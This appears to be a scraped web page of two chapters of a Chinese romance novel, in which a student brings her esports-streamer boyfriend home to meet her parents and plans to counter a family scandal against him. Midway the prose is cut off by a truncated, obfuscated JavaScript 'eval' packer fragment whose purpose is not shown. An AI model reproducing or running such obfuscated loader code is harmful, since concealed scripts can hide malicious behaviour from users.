$(''#content'').append('' “好吧,”她忽地偏头看他一眼,突然来了一句,“你相信我吗?” 虽然秦见夏问得心血来潮,但谈继秋还是点点头。 “我相信你。” “好!你现在状态不好,那这件事就放心交给我吧。” “我不会让你输的。” 她说得掷地有声,沉甸甸地砸在谈继秋心上。 他又有了流泪的冲动。 这回是感觉到了幸福。 她说以后不许提分手了。 她说,她不会让他输。 仿佛三魂七魄骤然回笼,仿佛久经大旱忽降甘霖。 他听到他的阿佛洛狄忒说:“你爸那边你继续冷处理,一会把你经纪人的微信推给我……哦对,还有你姐姐的,然后你把你微博账号密码也发我。” 她说完便要起身出门。 “等等,你这就走了?”谈继秋急切地拉住她的手,声音染上几分不舍。 他的嗓子很哑,秦见夏难过万分,这才敢释放出自己的心疼。 她回身将他抱住,揉着他毛绒绒的后脑,安慰道:“我还得上课呀,你这两天也别直播,就当自己生病了,装死就行,相当于放个小长假~” “不说这个了好不好?”谈继秋从她怀里探出头,可怜巴巴地望着秦见夏,用双臂圈住她的腰,祈求道,“能不能再多陪我一会……” 许久未见,他身形消瘦不少,整个人近乎病态,抱着都硌骨头。 秦见夏感到自己整颗心脏像被压在酸柠檬水里,闷得险些窒息。 她兀地再度心血来潮:“要不然你跟我回家吧!” 谈继秋怔住:“嗯?” “你就当跟我去散散心,玩两天再回来怎么样?”秦见夏苦恼地解释,“我周末有个广子要拍,美元哥最近有活动,小如姐也不方便来看你,你一个人待着我不放心。” 谈继秋有些紧张地问:“那要见你父母吗?” “当然啊,”秦见夏倒没想那么多,“刚好周末我爸妈休息,咱们可以去爬爬山什么的……” “诶呦放心啦——我爸妈很好相处的!” 她见他一副如临大敌的姿态,好笑地去亲他脸颊。 谈继秋感觉自己邋遢,下意识偏头躲过,秦见夏便强硬地锢住他的下巴,掰过来,凑到他侧脸落下一吻。 他瞬间羞赧地不好意思看她。 本就削瘦的脸庞显得更为立体,狭长的眸子水盈盈的,一副欲拒还迎的样子。 她莫名想,他的“秋”或许是“剪水秋瞳”的“秋”。 他的胡茬硬得扎手,秦见夏却越瞧越心软,心道真是我见犹怜啊。 “我带你去吃烤鸭和鸡蛋汉堡,都是我从小吃到大的。刚好最近新街口那边新开了家古着店,你陪我去逛逛吧,怎么样?” 谈继秋见她已经开始掰着手指头盘算要带他去哪里玩,只能笑着答应:“但你得先等我洗漱一下。” “没问题,那我先去找小如姐了。” 秦见夏先把他们的车票买好,然后上楼找小如分析自己的计划。 她给自己的复仇大计命名为“杠杆计划”。 小如骂她中二病。 不过还是仔细帮秦见夏捋了一遍,觉得基本没什么问题,唯一的缺点是风险比较大,而且形势不太可控。 秦见夏十分自信地勾了勾唇:“风险越大,机会越大。” “要不然怎么叫‘杠杆计划’呢!” 大致定好具体思路后,她算着时间,觉得谈继秋也该收拾完了,于是下楼去催他。 一打开房门,被西装革履的谈继秋晃了下眼。 “你这是要干嘛?”秦见夏不可置信地问。 谈继秋扣着袖扣,说:“见家长啊。” 秦见夏:“?” 秦见夏:“不用这么正式吧……我只是带你回家玩两天。” “不行,”谈继秋一板一眼道,“必须给叔叔阿姨留下好印象。” “可是我突然领个穿西装的回去,大家只会认为你是卖保险的。” 秦见夏无语:“你换身常服行吗?” 谈继秋也有心情和她开玩笑了:“我这高定西装很贵的,而且,你见过这么帅的保险销售吗?” 最后,谈继秋还是按照女朋友的喜好,换上拉夫劳伦的烟灰色薄衬衫和黑色微阔西装裤,她还帮他掖了下袖子,显得既活泼又庄重。 他满不满意不知道,反正秦见夏相当满意,举起手机指挥他一顿拍照,最后还是谈继秋催促她时间快要来不及了。 “都快没时间了你还非要去排队买那个蝴蝶酥!”秦见夏气喘吁吁地踩进高铁车厢,怒道,“蝴蝶酥哪里都有好不好!” 谈继秋一手拎着两个礼盒,又有点心又有茶叶又有茅台的,他跟在她身旁坐下,好声好气地哄:“阿姨不是爱吃这家蝴蝶酥吗,也没有浪费很多时间,现在不是赶上了嘛。” “你——”秦见夏偏过头,正想再说两句,迎面突然走来一个穿着白色连衣裙的黑长直大美女。 美女红着脸羞涩地问谈继秋:“那个,帅哥你好,我能加下你的微信吗?” 秦见夏:“?” 没看到她在这里坐着吗? 难道她是死人? 秦见夏更加怒火中烧,也不出声,就在一旁愤怒地刷着手机。 “不能,”谈继秋面色淡淡,听不出语气,“你没看见?我女朋友就在我旁边坐着。” “今天她要带我回去见家长。” 不知哪根筋搭错了,谈继秋又拔高声音补充一句,恨不得让全车厢的人都听见。 72. 见家长 四周的目光顿时如箭一般射过来。 谈继秋却恍若未觉。 秦见夏真想原地刨个坑把自己埋了。 还好大学开学季刚过,车上的幼中老年都不认识谈继秋。 不然就更尴尬了。 顶着全车人打量的视线,秦见夏当即满脸通红地站出来圆场:“不好意思啊姐妹,他有对象了。” “我男朋友刚喝了点酒,他脑子不太正常你别介意,哈哈。” 白裙美女也很羞赧地双手合十,道:“不好意思不好意思,我还以为你是他妹妹呢,真抱歉,那我就先走了!” 她说完便溜之大吉,徒留秦见夏和谈继秋的脸色都不太好看。 “我很老吗?” “我很幼稚吗?” 两人异口同声。 秦见夏“啧”了一声,不由得低头去瞧自己的打扮。 普普通通的玫粉色短袖、牛仔裤和洞洞鞋。 今天早八匆忙,所以只素颜戴了个黑框眼镜就出来了,为了赶车还没来得及拿发夹和皮筋,现在披头散发地可能比较像疯子。 秦见夏闷闷不乐地拽过谈继秋的胳膊,把她遗留的向日葵发圈取下,给自己飞快绑了个丸子头。 “干嘛给你收拾得这么帅,”她边扎头发边故意说,“真会勾引人。” “是吗?”谈继秋拿起手机用屏幕照了照脸,“那以后你帮我挑衣服怎么样?” “不怎么样,”秦见夏也照着手机,将自己的刘海扯下来几缕,嘟囔道,“你只能穿给我看。” “好。” 谈继秋暗爽地勾了勾唇。 临下车时,秦见夏发现他已经紧张得绷起脸来,不由得嘲笑他:“不至于吧,这又不是马上结婚的那种见家长。” “你要是实在紧张的话,我给你订个我家附近的酒店,这次先别见我爸妈了,”她提着两个轻一些的糕点礼盒,对他说,“主要是带你来散散心,不是为了见家长。” “那不行,都来南城了怎么可能不见你爸妈。”谈继秋一板一眼道。 秦见夏无奈点头,心道随他去吧。 今天正好是周五,秦国海和赵霞就一起来南站接秦见夏。 两人不知道谈继秋也来,收到消息时,还说秦见夏终于舍得花钱周末回家了。 秦见夏第九十九次澄清:「能不能别把我说得那么抠,只是车站离学校很远,刚好又省了车票钱,又不是纯为了省钱。」 两人在出站口,边等闺女边商量一会去吃点什么,结果秦国海打老远就看到女儿挽着个男人,欢欣雀跃地蹦跶出来了。 “这这这这——”秦国海气得嗷嗷叫,“老婆,这男的是谁啊!” 赵霞拍了他一巴掌:“你喊什么喊,肯定是小谈啊,这还用问?” 赵霞满意地踮起脚,从头到尾地打量着不远处的谈继秋,感叹闺女的眼光果然不错。 这小伙往那一站跟个电影明星似的,条正板顺,看起来个子应该有一米八五。 “这模样长得是真不赖,配我们夏夏绰绰有余,”赵霞赞叹连连,“哎,不留个孩子可惜了。” 秦国海不乐意听这话:“干么事啊干么事啊,你这是什么意思?什么叫配我们丫头绰绰有余,明明是我们丫头配他绰绰有余嘛!哪有你这样当妈妈滴——” “诶呀,爸妈吵什么吵啦,”秦见夏放开谈继秋的胳膊,走到他俩中间,双手叉腰,“打老远就听到你们在说什么配不配的。” 她指向身后局促的人,又指了指自己:“难道我们不配吗?” “配!配!” 夫妻俩异口同声。 谈继秋这才红着脸上前介绍自己:“叔叔阿姨好,我叫谈继秋,我是秦见夏的男朋友,比她大四岁,粤省人,家里有一个姐姐已经结婚了,之前我是电竞职业选手,现在退役了在当游戏主播,有房有车,目前经济状况比较稳定……” “停停停——”秦见夏哭笑不得地打断,“原来你刚刚一路上不说话是在打腹稿啊。” 她回头看向一脸欣赏的父母,解释道:“就是最近出了点事,我带他来散散心,下午临时决定的,所以没提前跟你们说,不是真的见家长那种哦。” “结果他非要给你们带东西来,搞得我俩差点误了车,”秦见夏向他们示意手上大包小包的,“给你们带了蝴蝶酥、茶叶、还有茅台和丝绸。” “我滴妈呀,小谈啊,你这是把你家搬过来了,带这么多东西呀!”秦国海虽然心里不太满意,面上却不显。 赵霞也客气道:“人来了就行,怎么还带东西……” “好了,”秦见夏再度打断他们的寒暄,“咱们能不能别站在出站口面试?人来人往的你们不觉得尴尬?” 赵霞顿时拍了秦见夏后背一巴掌:“你这孩子,这么大了还不懂事!” “哈哈哈,”她又尴尬地对谈继秋笑了笑,试图为女儿挽回一点颜面,“小谈,你别介意哈,我们夏夏从小到大就这样口无遮拦惯了……” “哼,”秦国海觉得驳了他女儿的面子,和赵霞唱起反调,非要维护秦见夏,“我们丫头啊,从小到大性格就这么直爽,比较随我哎,我就觉得夏夏这样蛮好滴!” 谈继秋发现秦国海说得没错,秦见夏确实在某些方面很像她爸,比如“哼”的语调。 “叔叔阿姨,我也觉得夏夏这样很好,二位不用和我见外。” 他发自内心地笑了笑。 秦国海扬起下巴瞟他一眼,还算满意地点了两下头。 四人在车上商量晚饭吃什么,谈继秋想请秦见夏一家吃顿较为正式的饭,秦见夏父母却说他是客人第一次来,应该让长辈来请客。 最终,秦见夏以一己之力,给他们带去了大排档。 “你们烦不烦——大热天的我现在就想吃烧烤小龙虾,老爸你开去大排档!都听我的!” 其他三人顿时连连点头。 秦见夏忽然有种自己在当皇帝的错觉。 她和赵霞在后座讲悄悄话,赵霞说:“妈也想吃烤肉了,本来就打算带你去吃烤肉的,这两天我和你爸发现咱小区旁边新开了一家挺不错的烧烤,带你去尝尝。” 秦见夏说:“那刚好。诶呀你们不要和他客气,就当是我朋友就行。” 赵霞却认为不太对劲,附在她耳边小声问:“我怎么感觉人家小谈很正式呢,你是不是还没给人家说结婚的事?” 前面秦国海和谈继秋也一问一答地聊着,秦见夏闻言尴尬地笑了两声,也将声音压到最低:“还没找到机会,而且他家出了点事……” 秦见夏简单把这次事件描述了一遍,听得赵霞连连摇头:“他父母当得确实不太行,不过人家这小孩看起来都挺争气的。” “那可不。”秦见夏与有荣焉地挑了挑眉。 赵霞又拍拍她胳膊:“那你也要好好对人家小谈啊,不要天天耍你那小孩儿脾气,多让着他一点儿,要是真认定这个人了,就要好好对待这段感情。” 秦见夏听后却没再回应,有些恍惚地瞥向车窗外掠过的风景。 真认定了吗? 她自己好像也不太确定。 人生太长了,她才二十一岁。 未来的事,很难确定吧…… 秦见夏认识的人里,最长的恋情只有王铭和他女朋友,他们谈了四年,之后也同样未知。 她和谈继秋才认识几个月,怎么可能这么快就认定呢? 他应该…也不可能这么快就认定她吧。 秦见夏出神地看了看前方谈继秋的侧脸。 赵霞又拍了秦见夏一巴掌:“妈跟你说话呢!” “诶呦!妈——”秦见夏龇牙咧嘴地捂着后背,吼道,“你当我跟我爸一样皮糙肉厚呢?疼死我了!我感觉你都给我拍红了!” “你背着我练铁砂掌了?” 谈继秋坐在副驾上低声轻笑。 秦见夏听到后瞪他一眼。 “嘿嘿,sorry啊宝宝,”赵霞连忙哄她,帮她揉着后背,往里一看还真红了,“妈最近拍你爸拍多了,下手没轻没重的……一会儿允许你喝冰的怎么样?” “这还差不多。”秦见夏噘着嘴说。 “应该不太行,”谈继秋回过头告状,目光闪烁,“阿姨,她前天吃水果捞吃得闹肚子,昨天不知道吃没吃药,反正今天不能喝冰的。” 秦见夏:“?” 秦见夏:“谈继秋你这家伙扭头就忘本?” 谈继秋说完就转回身,徒留秦见夏在后面张牙舞爪地叽叽喳喳。 透过车窗,他仔细观察起南城夜景,耳畔是她苦苦哀求的声音,他不由得勾起唇角。 这种感觉很陌生,是一种从未有过的踏实感。 像道路两旁的法国梧桐一般扎根进土壤。 秦见夏的家庭果然和他想象中一样美满。 她爸爸看似古板严肃,却事事向着她,连她妈妈数落几句也听不得;秦见夏的妈妈虽然无时无刻不在教导她,但性格也同样活泼随和,似乎和她关系更为密切。 他鲜少见到和父母关系如此融洽的同龄人,他们似乎无话不谈。 她的家庭像是教科书上的标准答案。 谈继秋承认,他的确有些羡慕。 但也庆幸,还好她出生在这样的家庭,不用受到家庭内部的互相磋磨。 “小谈呀,”秦国海的声音从驾驶座传来,他尽量放轻语气,“叔叔还没问过你——” “你究竟喜欢我们丫头什么呀?” 后座的秦见夏和赵霞正一人一只耳机,挤在一起专心致志地看视频,秦国海便小声问他:“我们夏夏其实脾气蛮不好滴,也小孩子心性,某些责任感方面会欠缺一些,加上被我们惯得也不是很勤快,一点也不会伺候人,为此我和她妈妈总是念叨她……” 这还是秦国海第一次对外人描述秦见夏的缺点。 其实这些在他眼里根本不算是缺点,只是他女儿没有长成标准模板而已。 他说这些,也是想给谈继秋打个预防针。 他们夏夏可不是什么贤妻良母。 如果找个对象要给别人当牛做马,那还不如一辈子在家里当老姑娘好呢。 “那您觉得阿姨呢?您喜欢阿姨什么?” 谈继秋却反问。 “你阿姨她这个人特别善良,脾气太好,心太软,又特别热情。” “那换一个善良、脾气好、心软又热情的人出现,您也会喜欢吗?” 秦国海坚定道:“不会。” 谈继秋微笑地说:“叔叔,我也同样。” “因为我先喜欢秦见夏这个人,所以她在我眼里活泼又坚强。” “别人觉得她脾气差、拖延,我却觉得她很可爱。我和您一样,不想听到任何人说她不好,我认为这就是喜欢。” 世界上相同性格的人数不胜数,怎么唯独喜欢这一个呢? 这个问题的答案其实很简单—— 因为她是秦见夏,所以他喜欢。 这种喜欢是一种无条件的偏爱。 无论秦见夏善恶、美丑、穷富,他都会喜欢。 如同量子纠缠,与粒子本身的形状无关。 喜欢,更像是一种宿命。 “小谈,明早陪我去玄武湖跑步吧。” “好的,叔叔。” “我爸刚刚在车上跟你说什么了?他是不是问你为什么喜欢我?”趁还没上菜,秦见夏和谈继秋在一旁咬耳朵,“你怎么回答的?我刚才没听清。” 许久没和她近距离接触,谈继秋感受到耳边传来的温热气息,下意识别开脸,红着耳尖:“没说什么……” “行了,”赵霞将秦见夏一把拉开,“你就别逗人家小谈了,看你对象都害羞成什么样了!” 秦见夏无语问苍天:“我没有逗他好不好,明明他自己就是易脸红体质,和我有什么关系?” “真不知道快三十的人了怎么动不动就脸红……”她小声嘟囔。 谈继秋只是尽职尽责地坐在她身边当乖乖男,也不好意思瞧她。 “人机。” 秦见夏吐槽。 “好了好了,别闹了,”秦国海给秦见夏倒了杯啤酒,“来,陪老爸喝两杯。” 赵霞“嘶”了一声,瞪他:“都说了孩子今天不能喝凉的!” “哎呦,那小谈来陪叔叔喝一杯。” “爸,”秦见夏也拒绝,“谈继秋不会喝酒。” 谈继秋闻言却端起杯子,恭敬道:“今天可以会,叔叔我敬您一杯。” 秦见夏目瞪口呆:“你被夺舍了?” “好像有点崩人设。” 谈继秋不听她的,非要陪秦国海喝酒。 好吧,秦见夏有时候觉得,他真的挺倔的。 烤肉上得比较慢,此时她肉没吃上,自己先被蚊子叮了个大包。 “妈——”她遇事喊赵霞,“这儿有蚊子。” “有蚊子我也没办法啊,”赵霞夹着凉菜无奈道,“妈一会叫老板拿蚊香过来……谁让你出门不记得带花露水。” 谈继秋却从口袋里掏出一个小瓶子,递到秦见夏面前:“我帮你带了。” 她父母在这,他也不好意思直接帮她喷。 秦见夏是招蚊体质,有时候被蚊子咬得厉害了还会过敏,所以只要她在,谈继秋都会将分装花露水随身携带。 “呀,我们小谈很贴心嘛。”秦见夏随口夸完,就理所当然地拿起喷了喷,用完又还给谈继秋保管,随即便没心没肺地吃起烤肉。 谈继秋在一旁瞧着她的样子笑。 赵霞和秦国海都看得瞠目结舌。 这小谈给他们女儿也伺候得太到位了吧。 自从秦见夏脱离婴幼儿身份后,他俩都没这么无微不至过。 更到位的还在后面。 临走时,谈继秋自己都喝得微醺了,还不忘最后一个离开,不止熟练地帮秦见夏捡外套,还顺带把她不知道第几次落在饭桌上的皮筋套回手腕。 秦见夏的丸子头扎久了,勒得头皮疼,走在回家的路上,她正揉头发呢,听见老妈神神秘秘地凑过来问:“闺女,你跟妈说实话,你手上是不是有人家小谈什么把柄?” 秦见夏:“?” 她瞧了眼不远处走路有些晃悠的谈继秋,特意等了两步,扶住他,问赵霞:“什么把柄?” 赵霞说:“人小谈跟伺候小孩似的伺候你,你还问我什么把柄?” “他伺候伺候我怎么了?”秦见夏轻轻翻了个白眼,“我对他也很好的,你说是不是?” 被点到的谈继秋当即点头:“阿姨,这是我应该做的。” 赵霞不由得摇头叹息。 “还有,”他戏谑道,“阿姨,小孩没她这么难伺候。” “真的,我也伺候过小孩。” 秦见夏闻言锤他:“谈继秋你说什么呢,我让你伺候我了?不是你自愿的吗!” “是是是,”他笑着躲开,“都是我自愿的。我只是不想某人天天弄丢了东西自己不知道,又在那里神神叨叨地说,‘一定是出现平行宇宙了’。” “谈继秋!!” “要不然就是吃饭的时候没有皮筋用,总是不小心把汤沾在头发上,还有……” “你不许说了!”秦见夏蹦起来捂他的嘴,面红耳赤地威胁,“你再揭我短我就不跟你玩了——” 谈继秋立刻认怂,酒气连天地将她抱进怀里,哄道:“好好好,我错了,夏夏大王您大人有大量原谅小的吧。” “……” 烧烤店就在家旁边,秦国海去开车了,剩下三人懒得坐车,一路走着回家。 谈继秋兴许是喝得有点多,又或许是被轻松的家庭氛围感染,身上也沾了点人气。 赵霞一路看着他们打打闹闹,不由得感叹,真是一个萝卜一个坑。 一直这样走下去,也挺好。 起初,谈继秋是想自己开个酒店住,但是秦见夏父母非让他住在家里,说是刚好有个空出来的小书房,住在家里还方便,他便也不好推辞。 当然他也有私心,住在秦见夏家里还可以离她近一些。 秦见夏家是三室一厅,书房基本上是给赵霞当茶室用了,他们家很少有亲戚来做客,好在还有一张很多年前医院陪护用的折叠床。 然而秦见夏觉得太委屈谈继秋,跟父母商量:“要不然让我爸和谈继秋睡,让我妈跟我睡不就行了。” “或者让谈继秋来我屋里……” “不行!”秦国海立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“什么叫‘又’crush上别人了,我跟你在一起之后眼里就只有你了好不好?”秦见夏忍不住为自己辩解。 “还有,我不生小孩不领证,这你也能接受?” 谈继秋不解地问:“那你还跟我在一起吗?只有我一个男朋友那种。” “你要是接受,我们就可以一直在一起,这也不影响。” “那不就行了。” 秦见夏感觉自己在做梦一样,推开他,站起来再度问:“你真的想好了?我等你明天清醒了再问一遍吧。” “我现在很清醒。” “我的意思就是,以后你都要没名没分地跟着我,我们一直这样两个人过下去。” “不过,你想要办婚礼的话也可以,我只是单纯不想领证,这个结婚证太束缚我……” 话还没说完,谈继秋再度将她拉进怀里,深吸一口气,说:“封建社会早过去了。” “我们就一直这样,两个人过下去。” “一辈子。” 他补充。 谈继秋果断抬头:“那我过两天就去结扎。” 秦见夏:“?” 她目瞪口呆地拉开他,盯着他的眼睛:“你知不知道自己在说什么?” 其实秦见夏还想问“不用跟你父母说吗”,然而转念一想,他父母的三胎比大姐的女儿还小,便无话可说。 “知道啊,”谈继秋笑得轻松,又反复确认,“你这就是认定我的意思吧?” “是的,”秦见夏想了想,郑重且诚实地说,“我很喜欢你,而且目前也遇不到比你更好的男人了。” “那万一遇到比我更好的呢?”谈继秋循循善诱。 “比你更好的我也不一定喜欢。” “你现在就是我的最优解。” 秦见夏说得认真。 谈继秋自动忽略“现在”两个字,不禁心花怒放,忍不住凑上去亲了亲她。 “秦见夏,你知不知道,我这个人其实没那么大度,”他声音软绵绵地,十分罕见,像一摊化了的阿尔卑斯糖,“除你父母外,我巴不得世界上只剩我一个人和你最亲密。你不想生小孩正好,再多一个人二十四小时分走你的注意,我会疯掉的。” 谈继秋意识到自己的病态:“每次你和别人聊得很开心的时候,我都在想,为什么你不能只对我露出那样的神情。” 秦见夏知道他喝醉了,不过就算是真心话也没什么,她就好这口,只不过从来没说。 这人稳重、忠诚,被别人那样对待都傻得不知道拉黑回击,占有欲强点就强点吧,她俩这方面也算势均力敌。 她和他靠得极近,感受到他带着酒意的呼吸,和身上淡淡的洗衣夜味。 两人挤在一张折叠床上,秦见夏有一搭没一搭地拍着他的脊背,不轻不重的力道,使他心里莫名泛痒。 窗外月色朦胧地洒了他们一身。 秦见夏耐心地听着恋人低声诉说。 “我明明只有你,你的世界里却有各种各样的人……这对我不公平,”他又连忙补充,“但我不是不让你社交。” “我只是……越来越贪心。” 如同他的名字那样,他的人生只有一个接一个的秋天。 童年时父母当甩手掌柜将他扔给家姐,少年时离家出走都换不来健康的家庭,青年时像大白菜一样被俱乐部挑来拣去,还有始终得不到的S赛冠军。 粉丝们不是迷恋他这张脸,就是只在乎他的竞技实力,俱乐部和经纪公司更是只看重价值,拿他当做一个符号捧上神坛。 其实根本没人在乎,他是一个什么样的人。 他独自走了太久太久,久到找不出生命的意义。 所以厌世是常态。 人们往往被他这副皮囊吸引,却又在触碰到他僵硬的灵魂后吓得落荒而逃。 谈继秋早已习以为常。 直到秦见夏冲进来,她说你很好。 他一次又一次地将她推开,她却像骑士般屹立。 她是他长久以来灰色世界里惊鸿一瞥的鲜活。 他无法自控地想要靠近她,像是一个即将冻死的人拒绝不了焰火。 谈继秋似乎只有在秦见夏面前才像个正常人。 会哭、会笑、会生气、会吃醋,会担心她不好好照顾自己。 会害怕她伤心。 最害怕她伤心。 秦见夏也是唯一一个愿意闯进门来拉他一把的傻子。 笨蛋,出了这种事,别人躲还来不及。 她却说她不会让他输。 其实他觉得输赢无所谓,反正此刻已经赢得了全世界。 冠军又怎样呢?他本就没有Fine那样的魄力,他的竞技精神早已荡然无存。 如果能用所有名利换来一个秦见夏的话,那他也觉得自己是天底下最幸运的人。 他擅长蛰伏,擅长以小搏大,如果没有90%的把握,他不会过早暴露自己。 那么此时,他对秦见夏有多少把握呢?75%?80%? 他不知道。 寄居蟹自愿丢盔弃甲,迎接未知的杀戮。 秦见夏,秦见夏,这场赌局最大的收获,原来是你。 谈继秋抱着她柔软的身子,只觉得心里好温暖。 也许确实是喝得有点多,他喋喋不休:“结了婚也能离婚和出轨,这个约束没用,孩子更没用,本来就不喜欢小孩,这事之后我看见孩子就烦,让他们爱生的多生——再说,咱们有了孩子不管男女在我看来都是第三者,很耽误我们。” “……谈继秋你真是喝多了。” “太好了,秦见夏,以后我们就只有彼此了对不对?” “你要发誓,除了你父母之外,不能再喜欢别人胜过我。” “不行不够有诚意,咱俩立个字据……还是不行——明天我找律师拟个合同。” “秦见夏,这次你能不能喜欢我久一点?” 秦见夏对发疯的男人无可奈何,只能抱着他一直哄,他问一句她答一句,也不知道他听没听到,反正最后谈继秋突然又开始沉默地掉眼泪,非要她举起三根手指对着嫦娥发誓。 她最害怕他这样哭。 也不是那种嚎啕大哭,就是一声不吭地开始流泪,不仔细观察甚至都发觉不出,他是在哭还是生理性泪水。 只要他一掉眼泪,秦见夏就觉得他是天底下最委屈的人。 “诶呀你别哭了,你哭得我心脏疼,”秦见夏哄得嘴皮子都干了,还不忘小声说,“你把眼泪留到床上用好不好,省着点哭。” 都怪她爹。 秦见夏发誓,再也不让谈继秋碰酒了。 73. 女朋友 最后,秦见夏和谈继秋两人累得双双睡在折叠床上。 还是秦国海和赵霞合力把秦见夏抱回房间的,最后又给谈继秋盖好被子才去睡觉。 翌日,秦见夏一觉睡到中午,出房门时,刚好碰到锻炼完回来的谈继秋和秦国海,两人精神抖擞,提了一堆吃的喝的。 她顶着鸡窝头,露出不解的神情,指向谈继秋:“你怎么这么精神?” “你们去湖边跑步了?” 秦国海眉飞色舞地冲她炫耀:“哎呀还是女婿好啊!你们一个两个都起不来,没人陪我去遛弯,只有女婿想着陪老爸。你看看人家小谈,身体多健康!又勤快又帅气,哎——怎么瞎了眼,看上了你这个丫头!” 秦见夏:“?” “他?”秦见夏翻了个白眼,仿佛听到了什么天大的笑话,“健康?” “他天天背着我吃泡面好不好!而且还严重睡眠不足!你瞧他那黑眼圈。” “偶滴个小乖——”秦国海吃着小馄饨,“说得好像你睡得多早是的,反正我就瞧着女婿蛮好滴。” “不是,你怎么女婿都叫上了?”秦见夏感觉睡一觉起来天翻地覆,“我不是讲了我不结婚吗?” “我告你讲奥,你那单纯就是不领证不生孩子,也不耽误我喊他女婿,”秦国海笑眯眯地叫了谈继秋一声,“阿是啊女婿?” 谈继秋也笑道:“是的叔叔。” 秦见夏:“?” 秦见夏:“你俩是不是都被夺舍了。” 她倚着门框,招手把谈继秋喊过来,小声问:“你究竟给我爸喂什么迷魂汤了?” 谈继秋相当得意:“我给叔叔说我会钓鱼,下次送他一套顶级渔具,过年咱们可以去海钓。” “你真会钓鱼?”秦见夏不可置信。 “当然不会,”谈继秋俯到她耳边低声说,“我只会在星露谷钓鱼。” 秦见夏:“……” 秦见夏:“那也很厉害了。” 谈继秋:“但这不是还有好几个月吗,我可以学。” 他十分自信。 “那你还记得我昨晚跟你说了什么吗?”秦见夏跟他重复确认,“我不领证,不生孩子。” “当然记得,”谈继秋也重复确认,“你还记得你昨晚说了什么吗?” 秦见夏回忆许久,斟酌地说:“以后,就咱们两个人一直在一起……?” “没错!” 秦见夏还是有些怀疑,啰嗦地反复确认:“你真能接受不领证不生孩子?” “孩子只能是你生,我也没有决定权,”谈继秋说着拿起手机,“而且我根本就不想你生孩子,也不喜欢小孩,你不相信的话我这就去结扎。” “不要把我想得那么封建,你爸妈都能接受,我有什么不能接受的。” “行行行,我相信你,”秦见夏夺过他手机,“你还真在搜医院啊?” “回头,回头我陪你去,你先别那个什么……”她支支吾吾道,“今天还有事要处理。” 谈继秋任由她打开微信查看消息,疑惑问:“什么事?” “我昨天加上陈姐后,和她分析了一下,你这波不一定是你爸单方面搞事情,你看你爸发的这些消息。” 秦见夏滑动聊天记录给他看:“我认为他们这个年纪不会像我们一样对互联网这么敏锐,你瞧他的口吻,好像非常确信把这事捅给媒体后会搞得你身败名裂一样,说他背后没人指使我是不信的。” “加上昨天他已经给你放下最后的狠话,不出意外,他们会选择把这件事放在周末捅出来,也就是今明两天,”她分析得头头是道,“周末相对来说流量会比周内高,你父母不可能懂这个,如果真在周末曝了,那反倒更能证明你爸背后有人指使……他们跳狼,焉知我才是预言家!” 秦见夏给自己说得热血沸腾。 结果谈继秋只是语气淡淡地问:“你玩狼人杀吗?” 秦见夏:“……” “我只玩过高中围成一圈自己定规则的那种,”她接过他递来的蟹黄汤包,不满道,“不是你能不能对自己的事情稍微上点心啊?我在这急得上蹿下跳,你就这么满不在乎?” 谈继秋一本正经地点点头:“我无所谓啊,这件事本来就不是我的问题,对我有负面影响我也认了。” 不过他还是认真感激道:“谢谢你帮我,不过……我不希望你因为这件事把自己搞得太累,或者耽误你的学业,这个是我不想看到的。” “放轻松,我真的无所谓。” “你无所谓还把自己关进房间不出来?”秦见夏还是走到餐桌前坐下,边吃午饭边问。 谈继秋也在她对面坐好,帮她扎开奶茶,说:“我就是前两天有点伤心,我父母好像真的只是拿我和家姐当工具,明明我们也是他们亲生的孩子……” “你父母拿你当工具,所以你自己也把自己当工具吗?” 她的话让谈继秋沉默了,她说得没错。 秦见夏又说:“你当初选择维护你姐姐辍学出走这点很厉害,但是谈继秋你凭心而论,这么多年,你内心真正走出来了吗?” “没有。” 他承认。 这么多年,其实他还固执地停留在那个小渔村。 承认父母不爱自己,是一件异常艰难的事。 即便潜意识知道,但主观上就是会怀疑——他们怎么可能不爱我呢,我可是他们亲生的孩子。 于是会陷入漫长的矛盾中去,猜测或许是他们爱的表达方式有问题。 这个问题实则和呼吸一样简单。 感受到了就是爱,没感受到就是不爱。 ——然而作为孩子,总是不信任自己的感官。 秦见夏吸着奶茶,语气相当随意:“从始至终都是你父母的错误,其实跟你没什么关系,你父母都这样对你了,你还不对自己好点,还和他们一起伤害自己,你是受虐狂吗。” “如果我没猜错的话,打游戏对你来说,是逃避现实的一种方式?” “可是谈继秋,”秦见夏支起身子,认真看向他躲闪的眼睛,“逃避虽然有用但其实没用啊。我有拖延症,我知道逃避是非常痛苦的,甚至痛苦来痛苦去,作业还躺在那里一点都没动,最后还得更痛苦地完成它。” “你这次应该跟着我的脚步,狠狠反击回去!” “把这根扎在心底二十多年的刺一口气拔掉,流点血又怎么了?” “凭什么伤害自己?你应该去伤害他们,把这根刺当作武器反扎回去才对!” “啪——”一声,秦国海把筷子反过来敲在她脑门上:“哎呀,小丫头满嘴反击反击的,小谈家庭的事要让他自己做决定才对嘛,你不要管得这么宽,多犯嫌!” 这方面秦国海熟,他深谙家庭之间的相处之道,配偶越插手,这个事情越不好办,不如只当块盾,人家家里面的事情让人家自己去解决嘛。 免得让她出了头,之后两人吵起架来,谈继秋又要责怪女儿。 “叔叔我觉得夏夏说得对。”谈继秋见秦见夏龇牙咧嘴地捂着额头,连忙心疼道。 秦国海:“……” 么得天理了。 “小谈我跟你讲,你不要老是不分青红皂白地护着她,”秦国海语气嗔怪,“我看这丫头被我和她妈现在是宠得无法无天,任性得不得了!” “爸——”秦见夏拿起手机照了照,发现脑门都红了,忍不住大声控诉,“你到底是我爸还是他爸!我要告你们家庭暴力!” “诶呦怎么了嘛——” 赵霞穿着丝绸睡衣从卧室匆匆飘出来,发现女儿眼泪汪汪的,脑门还有红印,便心疼地帮她揉着额头,埋怨秦国海:“老头,你干嘛又用筷子敲我闺女脑袋!下手也不知道个轻重!你看这都红了!乖不哭妈给你吹吹——啧,你这爹还能不能当?” 谈继秋也十分不忍,但她父母都在这里,他也不好有什么动作,只能看着她不说话。 这下只剩秦国海被架在火上烤…… 看吧这就是现成的例子,不要掺和人家小情侣的事。 “诶呦么得事,没使多大力气,你又不是不晓得,她从小到大轻轻磕一下就要红,哪能怪我——” 秦国海也委屈:“老婆我冤枉,我跟你讲,你刚刚是没听到这丫头讲了什么胡里八涂的话,我是担心她未来和婆家不好相处……” 秦见夏只一味地钻进妈妈怀里扮可怜,和秦国海怄气。 